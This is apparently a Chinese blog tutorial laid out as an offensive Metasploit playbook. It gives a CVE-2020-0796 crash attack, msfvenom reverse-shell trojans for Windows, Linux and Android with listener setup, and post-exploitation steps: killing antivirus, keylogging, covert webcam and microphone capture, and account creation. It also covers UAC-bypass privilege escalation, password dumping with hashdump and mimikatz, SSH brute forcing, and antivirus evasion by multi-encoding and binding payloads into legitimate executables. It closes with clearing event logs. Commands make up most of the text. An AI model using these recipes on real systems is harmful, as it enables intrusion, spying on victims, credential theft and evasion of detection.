查看目标机是否为虚拟机:run post/windows/gather/checkvm
查看完整网络设置:route
查看当前权限:getuid
自动提权:getsystem
关闭杀毒软件:run post/windows/manage/killav
启动远程桌面协议:run post/windows/manage/enable_rdp
列举当前登录的用户:run post/windows/gather/enum_logged_on_users
查看当前应用程序:run post/windows/gather/enum_applications
抓取目标机的屏幕截图:load espia ; screengrab
抓取摄像头的照片:webcam_snap
查看当前处于目标机的那个目录:pwd
查看当前目录:getlwd

CVE-2020-0796 永恒之黑漏洞

一、CVE-2020-0796 永恒之黑漏洞

永恒之黑漏洞与“永恒之蓝”漏洞极为相似,都是利用Windows SMB漏洞远程攻击获取系统最高权限。

漏洞危害等级:高危

“永恒之黑”漏洞高危之处在于对SMB客户端的攻击,攻击者可以通过构造一个“特制”的网页、压缩包、共享目录、OFFICE文档等,向攻击目标发送,一旦被攻击者打开则瞬间触发漏洞受到攻击。

漏洞成因:
CVE-2020-0796 漏洞存在于受影响版本的 Windows 驱动 srv2.sys 中,由于 Windows SMB 更新到 3.1.1 版本增加了对压缩数据的支持,未对用户传输的压缩数据的合法性进行校验。

受影响的Windows版本

Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows 10 Version 1909 for x64-based Systems
Windows Server, version 1903 (Server Core installation)
Windows Server, version 1909 (Server Core installation)

二、环境准备

1 一个受影响的windows版本

2 正常的电脑

三、开始利用

首先确认当前作为靶机的Windows系统是受影响的版本

Windows版本,按win+r,在弹出运行窗口中,输入 winver

1642062038435

1、 漏洞发现

1642062059301

使用奇安信的漏洞探测工具

直接在cmd中启动 CVE-2020-0796-Scanner.exe

根据提示输入扫描目标IP 或者扫描IP范围

1642062077901

2、准备蓝屏payload

1642062098119

使用CVE-2020-0796 蓝屏工具进行攻击

python3 CVE-2020-0796.py <查询到存在漏洞的IP>

python3 CVE-2020-0796.py 192.168.3.38

如果靶机没有蓝屏就重新攻击一下

1642062112224

扩展阅读:

微软披露了一个最新的SMBv3(3.1.1)远程代码执行漏洞(CVE-2020-0796),俗称“永恒之黑”。本漏洞源于SMBv3没有正确处理压缩的数据包,在解压数据包的时候使用客户端传过来的长度进行解压时,并没有检查长度是否合法,最终导致整数溢出。利用该漏洞,攻击方可直接远程攻击SMB服务端远程执行任意恶意代码,亦可通过构建恶意SMB服务端诱导客户端连接从而大规模攻击客户端。永恒之黑一旦被成功利用,其危害不亚于永恒之蓝。

生成木马反弹shell(windows)

一、环境准备

  1. MSF-Metasploit Framework
  2. 一台windiows靶机

二、开始生成木马

  1. 使用msfvenom生成木马

  2. 终端内输入:

    msfvenom -p windows/meterpreter_reverse_tcp LHOST={监控IP} LPORT={监控端口} -e x86/shikata_ga_nai -f exe -o new.exe -i 5

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.110.38 LPORT=4567 -e x86/shikata_ga_nai -f exe -o shell.exe -i 5

三、配置监控

  1. 启动msf 终端内输入:msfconsole 启动msf1642501758409

  2. 载入监控模块 msf中输入: use exploit/multi/handler

    1642501831818

  3. 加载payload msf终端中输入:set payload windows/meterpreter/reverse_tcp

  4. 配置payload msf终端中输入:show options

  5. 配置payload监控IP msf终端中输入: set lhost {监控IP}

  6. 配置payload监控端口 msf终端中输入:set lport {监控端口} (注意这里要和木马配置时使用的端口相同&如果使用内网穿透服务填写转发后的端口)

  7. 检查payload配置 msf终端中输入:show options

    1642501934250

  8. 执行监控 msf终端中输入: run

四、攻击利用

  1. 将木马上传到靶机
  2. 在靶机上执行木马
  3. 完成攻击利用1642501969373

通过木马反弹shell(Linux)

一、环境准备

  1. MSF-Metasploit Framework
  2. 一台靶机

二、木马生成

  1. 生成一个Linux后门
  2. msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST={监控IP} LPORT={监控端口} -f elf > shell.elf!1643108165465

三、配置监控

  1. 启动msf 终端内输入:msfconsole 启动msf

    1643108186343

  2. 载入监控模块 msf中输入: use exploit/multi/handler

  3. 加载payload msf终端中输入:set payload linux/x64/meterpreter/reverse_tcp

  4. 配置payload msf终端中输入:show options

    1643108202630

  5. 配置payload监控IP msf终端中输入: set lhost {监控IP}

  6. 配置payload监控端口 msf终端中输入:set lport {监控端口} (注意这里要和木马配置时使用的端口相同&如果使用内网穿透服务填写转发后的端口)

  7. 检查payload配置 msf终端中输入:show options

  8. 执行监控 msf终端中输入: run

    1643108218621

四、攻击利用

  1. 将木马上传到靶机

    通过python创建一个简单web服务

    python2 -m SimpleHTTPServer 80

  2. 在靶机上执行木马

  3. 完成攻击利用

    1643108263211

通过木马反弹shell(Android)

一、环境准备

  1. MSF-Metasploit Framework
  2. 一台安装手机或者模拟器

二、木马生成

  1. 生成一个APK后门
  2. msfvenom -p android/meterpreter/reverse_tcp LHOST={监控IP} LPORT={监控端口} R>k.apk
  3. msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.110.38 LPORT=4567 R>k.apk

三、配置监控

  1. 启动msf 终端内输入:msfconsole 启动msf1643003592876

  2. 载入监控模块 msf中输入: use exploit/multi/handler

  3. 载入payload MSF终端中输入: set payload android/meterpreter/reverse_tcp

    1643003612323

  4. 配置payload MSF终端中输入:show options

  5. 配置监控IP MSF中输入:set lhost <监控的IP>

  6. 配置监控端口 MSF中输入:set lporr <监控的端口>

  7. 执行监控 msf终端中输入: run1643003633911

四、攻击利用

  1. 将木马上传到靶机
  2. 在靶机上执行木马
  3. 完成攻击利用

完成攻击利用

1643003654523

msf后渗透

一 访问文件系统

1.文件交互指令

ID Command Description
1 cat 读取文件内容
2 cd 切换靶机目录
3 cp 复制文件到目标
4 mv 移动到目标
5 chmod 修改文件权限(比如chmod 777 shell.elf)
6 del / rm 删除靶机文件
7 dir 打印靶机目录
8 mkdir 在靶机上创建目录
9 rmdir 删除靶机目录
10 edit 编辑文件
11 getlwd 打印本地目录
12 getwd 打印靶机目录
13 lcd 更改本地目录
14 lls 列出本地目录
15 ls 列出靶机文件目录
16 lpwd 打印本地目录
17 pwd 打印工作目录
19 search 搜索文件 详情search -h

Linux权限理解

chmod 777 {文件名.后缀}

chmod 777 shell.elf

二 上传下载文件

ID Command Description
1 upload 传文件到靶机
2 download 从靶机下载文件

三 屏幕截图

ID Command Description
1 screenshot 截图(Windows)

四 键盘记录

ID Conmmand Description
1 keyscan_start 启动键盘记录(Windows)
2 keyscan_dump 导出键盘(Windows)
3 keyscan_stop 停止键盘记录(Windows)

五 创建账户

一、环境准备

1 MSF-Metasploit Framework

2 一台获取到meterpreter的靶机

二、实际操作

1、先看下目标靶机已存在用户 meterpreter中输入:run post/windows/gather/enum_logged_on_users

1643108073546

2、使用getgui创建 一个用户名为 msb 密码为 123456 的账户

run getgui -u msb -p 123456

run getgui -u {用户名}-p {密码}

进入win的运行输入netplwiz 可以查看账户创建情况

1643108092979

[-] Insufficient privileges, account was not be created. 看到这个提示就需要先提权(获取到system)

2.1 绕过UAC提权

use exploit/windows/local/ask

六 调用音频设备录音

record_mic 包含4个可选参数 分别为

-d 是设置录音时长

-f 设置文件路径

-h 查看帮助

-p 控制自动播放

一条简单的录音语句

record_mic -d 10 -p true

七 后渗透之提权

一、环境准备

1 MSF-Metasploit Framework

2 一台windiows靶机

二、实战

1 提权方法(Windows)查看当前获得用户的权限 meterpreter 中输入: getuid

1644493116225

方法一、 meterpreter中输入:getsystem

1644493125642

方法二、使用msf模块提权

要想提权必须是已经拿到meterpreter 然后将当前meterpreter 后台 meterprerer中输入 background

1、 查看可用模块 MSF终端中输入 search bypassuac 查看提权模块

2、 选择一个适合当前系统的提权模块 我这边使用的是win10系统

那我们使用:use exploit/windows/local/bypassuac_windows_store_reg 尝试提权

这个模块不行就换一个 use exploit/windows/local/bypassuac_sluihijack

或者 use exploit/windows/local/bypassuac_dotnet_profiler

3 配置模块使用参数 终端内输入: show options

4 可以看到需要配置 session 终端内输入:set session {需要提权的session id}

5 执行提权 终端内输入:run

6 获取到meterpreter后 我们在终端内 输入getuid 看实际还没有提权成功 需要在还终端内在输入 getsystem 获取权限

7 获取权限完成后 输入getuid 即可看到 已经获取到SYSTEM 最高权限了

1644493163472

看到这个证明已经将权限提升成功

八 获取登录账号密码

一、环境准备

1 MSF-Metasploit Framework

2 一台windiows靶机

二、实战

首先获得一个有SYSTEM权限的meterpreter

1644493974746

1 抓取自动登录账户密码

2 导出SAM数据库本地账户密码文件

3 导出密码哈希

4 使用kiwi模块获取


1 很多人喜欢给在计算机设置自动登录 我们可以通过抓取自动登录的账户密码

run windows/gather/credentials/windows_autologin

如果提示这证明本机并没有配置自动登录

1644493985741

2 还可以通过导出SAM数据库中的本地用户账号(注意需要提权到SYSTEM)

run post/windows/gather/smart_hashdump

1644493996549

用户名 SID LM哈希: NTLM哈希1:::
mb 1000 aad3b435b51404eeaad3b435b51404ee 32ed87bdb5fdc5e9cba88547376818d4

1644494007420

3 使用 hashdump 获取密码(注意需要提权到SYSTEM才能使用)

终端内输入 run hashdump

1644494019182

使用在线解析工具 https://www.cmd5.com/

NTLM哈希 例子:32ed87bdb5fdc5e9cba88547376818d4

1644494029236

4 使用load kiwi(使用kiwi模块需要system权限)

kiwi_cmd 模块可以让我们使用mimikatz的全部功能, mimikatz 的命令直接在kiwi_cmd里直接使用

5.1 终端输入 load kiwi

5.2 creds_all 直接获取密码

1644494040171

5.3 使用 kiwi_cmd sekurlsa::logonpasswords 获取密码

1644494050257

ID kiwi参数和描述
1 creds_all:列举所有凭据
2 creds_kerberos:列举所有kerberos凭据
3 creds_msv:列举所有msv凭据
4 creds_ssp:列举所有ssp凭据
5 creds_tspkg:列举所有tspkg凭据
6 creds_wdigest:列举所有wdigest凭据
7 dcsync:通过DCSync检索用户帐户信息
8 dcsync_ntlm:通过DCSync检索用户帐户NTLM散列、SID和RID
9 golden_ticket_create:创建黄金票据
10 kerberos_ticket_list:列举kerberos票据
11 kerberos_ticket_purge:清除kerberos票据
12 kerberos_ticket_use:使用kerberos票据
13 kiwi_cmd:执行mimikatz的命令,后面接mimikatz.exe的命令
14 lsa_dump_sam:dump出lsa的SAM
15 lsa_dump_secrets:dump出lsa的密文
16 password_change:修改密码
17 wifi_list:列出当前用户的wifi配置文件
18 wifi_list_shared:列出共享wifi配置文件/编码

远程控制

一、环境准备

1 rdesktop

在线安装 rdesktop


Debian,Ubuntu,kali下使用以下命令

apt-get install rdesktop


Centos/RedHat可以通过yum命令

yum -y install rdesktop

2 一台windiows靶机(没有物理电脑可以使用虚拟机代替)
3 MSF-Metasploit Framework

二、实战

1 使用rdesktop远程控制

说明:rdesktop是linux下支持Windows远程桌面连接的客户端程序,在linux系统下可通过它远程访问Windows桌面,支持多种版本。rdesktop是sourceforge下支持GPL协议的一个开源项目,采用RDP(Remote Desktop Protocol,远程桌面协议),几乎可以连接windows的所有版本

rdesktop常用参数

id 参数 描述
1 -u 账户名
2 -p 密码
3 -a 16 指使用16位色显示远程画面
4 -f 全屏模式(用Ctrl+Alt+Enter 组合键退出全屏)
5 -g 设置分辨率 如 : -g 1024x768
6 rdesktop -h 查看rdesktop使用帮助

rdesktop -u 用户名 -p 密码 -f IP

rdesktop -u mb -p 123456 -f -g 1024x720 192.168.110.24

如果远程计算机没有启动远程功能我们可以在meterpreter中输入

启动远程桌面协议:run post/windows/manage/enable_rdp


2 通过vnc远程

1644493726723

调用摄像头

一、环境准备

1 MSF-Metasploit Framework

2 一台windiows靶机

3 一台安卓设备,没有可以使用模拟器

二、实战

靶机获取到meterpreter后我们可以使用 webcam模块实现调用软,硬件摄像头

webcam模块支持命令

id 模块名 解释
1 webcam_list 列出靶机中的所有软,硬件摄像头列表,并编号
2 webcam_snap 可调用单个软,硬件摄像头拍照,默认调用第一个摄像头
3 webcam_stream 可调用单个软,硬件摄像头直播,默认调用第一个摄像头

1 webcam_list

1644494100592

2 webcam_snap 调用单个软,硬件摄像头拍照

id 参数 描述
1 -h 显示帮助
2 -i -i 1 “1”代表调用摄像头编号
3 -p -p /root “root”设置存储路径
4 -q -q 100 “100” 表示存储图片的质量默认为 50
5 -v -v false -v 2个参数 true 和 false 这个参数表示拍照后自动打开,默认参数为true

1644494089950

3 webcam_stream 调用单个软,硬件摄像头直播

id 参数 描述
1 -h 显示帮助
2 -d -d 100 “100”=100秒 设置流持续时间为100秒 默认为1800
3 -i -i 1 “1”代表调用摄像头编号
4 -q -q 100 “100”指流质量 默认为50
5 -s -s live “live”指流文件路径 默认输出在当前目录(注意目录不存在不会自动创建)
7 -f -f live “live”指播放文件的存储地址 默认输出在当前目录
8 -v -v false -v 2个参数 true 和 false 这个参数表示拍照后自动打开,默认参数为true

msf进阶

msf辅助模块

说明:我们知道msf辅助模块有上千个,主要用于信息搜集阶段,功能包括扫描、口令猜解、敏感信息嗅探、FUZZ测试发掘漏洞、实施网络协议欺骗等

一、怎么查询 Auxiliary辅助模块

我们可以通过以下命令查询所有 Auxiliary辅助模块

use auxiliary/ 或 show auxiliary

二、 Auxiliary辅助模块分类


admin

/admin/android

/admin/http

/admin/mysql/

/admin/oracle/

/admin/vmware/

/admin/smb/


dos

/dos/android/

/dos/http/

/dos/cisco/

/dos/dns/

/dos/smb/

/dos/windows/ftp/


fuzzers

/fuzzers/http/

/fuzzers/smb/

/gather/


scanner

/scanner/portscan/

/scanner/ftp/

/scanner/http/

/scanner/ssh/

/scanner/smb/

/scanner/vmware/

/scanner/vnc/

/scanner/telnet/

/scanner/msyql/

/scanner/ntp/

/scanner/openvas/

/scanner/sap/

server

/server/

三、通过分类查询指定模块

通过search查询指定模块

search type:auxiliary name:smb

type: 后门跟的的模块类型 name : 后门跟的就是要搜的模块名

四、怎么调用模块

我们调一个smb模块演示

1 查询与SMB 相关的辅助模块

search type:auxiliary name:smb

2 加载一个ms17_010探测模块

use auxiliary/scanner/smb/smb_ms17_010

3 查看载入模块需要配置的参数

show options

1645511393570

set RHOSTS 192.168.110.110 (设定目标IP)

set THREADS 10 (如果觉得探测过慢可以增加线程,根据电脑实际性能来不要配置太多 个人建议最大10)

run (执行探测)

1645511404119

1645511415106

五、更多

1 whois查看域名或IP信息 (hu yi zi)

whois www.baidu.com

whois 192.168.0.1

2 利用辅助模块查找邮箱

use auxiliary/gather/search_email_collector

3 DNS枚举,使用auxiliary模块下的DNS枚举模块:

use auxiliary/gather/enum_dns

4 ssh爆破,使用auxiliary模块下的ssh_login

use /auxiliary/scanner/ssh/ssh_login

set RHOSTS 192.168.1.92 (设定目标IP)
set USERNAME root (设定ssh登陆账户)
set PASS_FILE /kevin/ssh_passwd.txt (设定暴力字典)
set THREADS 100 (线程设置为100)
show options (查看更改后的参数)12345

run 开始爆破

杀软是如何检测出恶意代码的?
特征码、启发式恶意软件检查和行为。
免杀是做什么?
对特征进行混淆,打乱代码,避免杀毒软件查杀
免杀的基本方法有哪些?
自编码处理 自捆绑+编码 多重编码 接口下载式 签名伪装式

针对杀毒软件的基本检测方法,我们可有以下几种方法实现免杀:

改变特征码
改变行为
其它

由于msf被各大安全厂商盯的比较紧,所以这些常规的方法免杀效果肯定是比较差的,但有时把一两种常规方法稍微结合一下就能达到比较好的免杀效果

要用到的在线查毒工具virscan提供

https://www.virscan.org/

msf编码免杀

一、不处理payload直接生成样本进行检测

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.110.32 LPORT=4456 -f exe -o payload1.exe

1645511560404

进行查毒有41%的杀毒软件报毒了

具体查毒链接:https://r.virscan.org/language/en/report/27ea53bab44e0a023b57c27991f02cf9

1645511550808

二、 MSF自编码处理payload生成样本进行检测

首先我们输入 msfvenom –list encoders 查看可以用编码模块

1645511543145

我们使用 x86/shikata_ga_nai 模块 免杀中使用频率最高的一个编码器

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai HOST=192.168.110.110 LPORT=4456 -f exe -o payload1.exe

进行查毒有37%的杀毒软件报毒了

1645511533351

三、MSF自捆绑处理payload生成样本进行检测

使用msfvenom的-x参数可以指定一个可执行文件,将payload与其捆绑

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.110.110 LPORT=4456 -x UltraISO.exe -f exe -o payload2.exe

1645511525813

进行查毒有37%的杀毒软件报毒了

1645511516751

四、MSF自捆绑+编码处理payload生成样本进行检测

结合第二种,第三种。编码方式我们再次生成样本

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.110.110 LPORT=4456 -e x86/shikata_ga_nai -x UltraISO.exe -i 10 -f exe -o payload3.exe

1645511507586

进行查毒有31%的杀毒软件报毒了

1645511497457

那我们继续增加编码次数

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.110.110 LPORT=4456 -e x86/shikata_ga_nai -x UltraISO.exe -i 20 -f exe -o payload4.exe

进行查毒有27%的杀毒软件报毒了!

1645511487704

五、MSF多重编码payload生成样本进行检测

通过管道,让msfvenom用不同编码器反复编码进行混淆。使用管道让msfvenom对攻击载荷多重编码,先用shikata_ga_nai编码10次,接着来10次的alpha_upper编码,再来10次的countdown编码,最后才生成以payload5.exe为模板的可执行文件。

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.110.110 LPORT=4456 -f raw | msfvenom -e x86/alpha_upper -i 10 -f raw | msfvenom -e x86/countdown -i 10 -x UltraISO.exe -f exe -o payload5.exe

六、 生成Shellcode使用C语言调用

1、直接在linux中利用msf的meterpreter生成的文件以.c形式文件存储,得到机器码。命令:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.110.110 LPORT=4456 -f c >c0001.c

1645511458128

2、改c文件,并编译,并加壳

1645511469800

随便写一个hello world

main() {
printf(“hello world\n”);
}

然后编译 并加壳

vmp加壳工具

清理事件日志

再进入肉鸡执行一些操作时,windows 下记录的操作日志可在日志查看器中进行查看,可以通过运行 eventvwr 命令打开。包括了应用程序、系统、安全等模块的日志,为了不让其查到自己或知道自己的操作,则可以使用 meterpreter 的 clearev 命令来清除其日志。未清除日志前可查看系统记录的一些处理信息。

1645511582659

然后在 meterpreter 下执行 clearev 命令,可以看到清除提示,分别清除了应用程序,系统和安全模块的日志记录。

clearev 清理日志

1645511593151

(注意 使用clearev命令时 需要获得靶机的 system 权限)


文章作者: 吗喽の小屋
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 吗喽の小屋 !
  目录